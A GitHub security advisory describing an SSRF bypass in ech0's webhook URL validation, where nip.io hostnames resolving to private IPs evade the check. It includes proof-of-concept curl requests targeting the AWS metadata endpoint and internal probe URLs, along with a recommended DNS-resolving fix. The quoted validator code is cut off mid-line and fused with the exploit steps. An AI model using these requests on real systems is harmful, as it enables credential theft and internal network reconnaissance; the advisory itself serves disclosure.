GitHub Advisoryadvisory · Go

GHSA-r2x7-427f-rq69 Ech0 has SSRF via DNS Resolution Bypass in Webhook URL Validation

MEDIUM Published 2026-04-10 Modified 2026-04-10 Official page ↗
Ecosystem
Go
Packages
github.com/lin-snow/ech0
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N
Weaknesses
CWE-918
Reviewed
2026-04-10

Affected packages

• Go github.com/lin-snow/ech0: < 4.4.3 → fixed in 4.4.3

Description

Summary The `validateWebhookURL` function in `webhook_setting_service.go` attempts to block webhooks targeting private/internal IP addresses, but only checks literal IP strings via `net.ParseIP()`. Hostnames that DNS-resolve to private IPs (e.g., `169.254.169.254.nip.io`, `10.0.0.1.nip.io`) bypass all checks, allowing an admin to create webhooks that make server-side requests to internal network services and cloud metadata endpoints. Details The vulnerability is in `validateWebhookURL` (`internal/service/setting/webhook_setting_service.go:180-199`): ```go func validateWebhookURL(rawURL string) error { parsed, err := url.Parse(rawURL) // ... host := strings.ToLower(parsed.Hostname()) if host == "" || host == "localhost" || strings.HasSuffix(host, ".local") { return errors.New(commonModel.INVALID_WEBHOOK_URL) } if ip := net.ParseIP(host); ip != nil { // ' \ -H 'Content-Type: application/json' \ -d '{"name":"ssrf-probe","url":"http://169.254.169.254.nip.io/latest/meta-data/","secret":"","is_active":true}' Step 2: Trigger SSRF via test endpoint curl -X POST http://localhost:8080/api/webhook//test \ -H 'Authorization: Bearer ' The server makes an HTTP POST to 169.254.169.254 (AWS metadata). net.ParseIP("169.254.169.254.nip.io") returns nil, skipping all IP checks. Delivery status and error messages reveal connectivity information. For internal network scanning: http://10.0.0.1.nip.io:8080/ http://127.0.0.1.nip.io:6379/ With is_active:true, every application event automatically dispatches to the SSRF target via Dispatcher.HandleObservation (no re-validation). ``` Impact • Cloud metadata access: An admin can reach cloud instance metadata endpoints (AWS `169.254.169.254`, GCP, Azure) to steal IAM credentials, instance identity tokens, and configuration data. • Internal network probing: Webhooks can scan internal services by observing delivery status (`success`/`failed`) and error messages, mapping internal network topology. • Persistent SSRF: Active webhooks fire on every application event via the Dispatcher, creating ongoing SSRF without further admin interaction. • Scope escalation: Impact escapes the application's security boundary to affect internal infrastructure, despite the application explicitly attempting to prevent this. Recommended Fix Replace the hostname-only check with a custom `net.Dialer` that resolves DNS and validates the resolved IP before connecting. Apply this to both HTTP clients: ```go import "net" func safeDialContext(ctx context.Context, network, addr string) (net.Conn, error) { host, port, err := net.SplitHostPort(addr) if err != nil { return nil, err } ips, err := net.DefaultResolver.LookupIPAddr(ctx, host) if err != nil { return nil, err } for _, ip := range ips { if ip.IP.IsLoopback() || ip.IP.IsPrivate() || ip.IP.IsLinkLocalUnicast() || ip.IP.IsLinkLocalMulticast() || ip.IP.IsUnspecified() { return nil, fmt.Errorf("resolved IP %s is not allowed", ip.IP) } } dialer := &net.Dialer{Timeout: 5 * time.Second} return dialer.DialContext(ctx, network, addr) } // Use in both TestWebhook and Dispatcher: client := &http.Client{ Timeout: 5 * time.Second, Transport: &http.Transport{ DialContext: safeDialContext, }, } ``` This ensures resolved IPs are checked against the private range blocklist regardless of hostname used.

Related

Weakness · CWE (1)

  • CWE-918 Server-Side Request Forgery weakness

References